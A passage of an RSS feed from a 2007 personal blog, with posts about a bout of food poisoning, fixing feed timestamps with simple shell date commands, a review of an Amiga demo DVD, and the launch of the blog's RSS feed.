</item>
<item>
<title>Ill, no food for four days, urck</title>
<pubDate>Sat, 24 Mar 2007 21:19:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#240320072119</link>
<description>
I seem to have food poisoning. It all start on Tuesday evening when I felt odd and did not want anything to eat, and if you know me you will know I love to eat.
Then Wednesday morning I lost not only any food I had eaten but my stomach lining as well. No biggie, everyone has upset stomachs once in a while 24-48 hours max, right ? I then slept all day, another unusual thing for me.
Wednesday I could not eat anything, so kept drinking water, Thursday I tried some plain toast, but that did not last long.
Friday and a few plain biscuits survived 2 hours, its now Saturday and I feel like I have not eaten for 4 days, oh wait...
So now I am on rehydration sachets and imodium, the fun never ends ...

</description>
</item>
<item>
<title>rss version 2.0 and time date link fixes</title>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#220320071218</link>
<description>
I have updated the rss feed to version 2.0
http://www.rssboard.org/rss-specification
There was also a bug that if the flog processing crossed over a minute boundary then the date for the permeant link was different from that recorded in the tags and the rss feed.
This was because I was using the current date and time at execution
<code>date +"%a, %d %b %Y %H:%M:%S %Z"</code>
a quick change to use a file and everything is fixed.
<code>touch some.file
date -r some.file +"%a, %d %b %Y %H:%M:%S %Z"</code>
still waiting on a nice rss button ...
</description>
</item>
<item>
<title>Mindcandy DVD Vol 2. Amiga Demos Review</title>
<link>http://www.jumpstation.co.uk/flog/Mar2007.html#200320071816</link>
<description>
I have <a href="http://www.jumpstation.co.uk/flog/Mar2007.html#110320071838">finally</a> <a href="http://www.jumpstation.co.uk/flog/Dec2006.html#311220062143">finished</a> <a href="http://www.mindcandydvd.com/">mindcandy vol2</a>.
It took over 2 years to create and contains 30 Amiga demos from 1989 to 2004, of which 26 are pre 2000 plus loads of extras and full commentary on each.
Less than half the demos have commentary from the orignal creators and the substitute commenter becomes annoying after a few times, though usually very well informed.
That means I had to watch the 30 tracks twice, once without commentary, to enjoy the music and once with the commentary to try and understand more about the demos. Thats not excluding the excellent party report and informative technical production notes.
This sort of DVD will not be to everyones tastes, but for me, i clearly remember the really old demos and I enjoyed this a lot.
Amiga4Ever!
</description>
</item>
<item>
<title>my title</title>
<link>http://www.jumpstation.co.uk/flog/my tag</link>
<description>
I had always planned on adding an RSS feed to the flog, but <a href="http://www.bagofspoons.net/cgi-bin/pyblosxom.cgi/">steve</a> bushed me over the edge and suggested the LUG have planet with everyones feeds.
So, if you are lucky, there should be an rss feed <a href="flog.rss">here</a>, I will add a nicer link somewhere on the page soon.
</description>
</item>

</channel>
</rss>
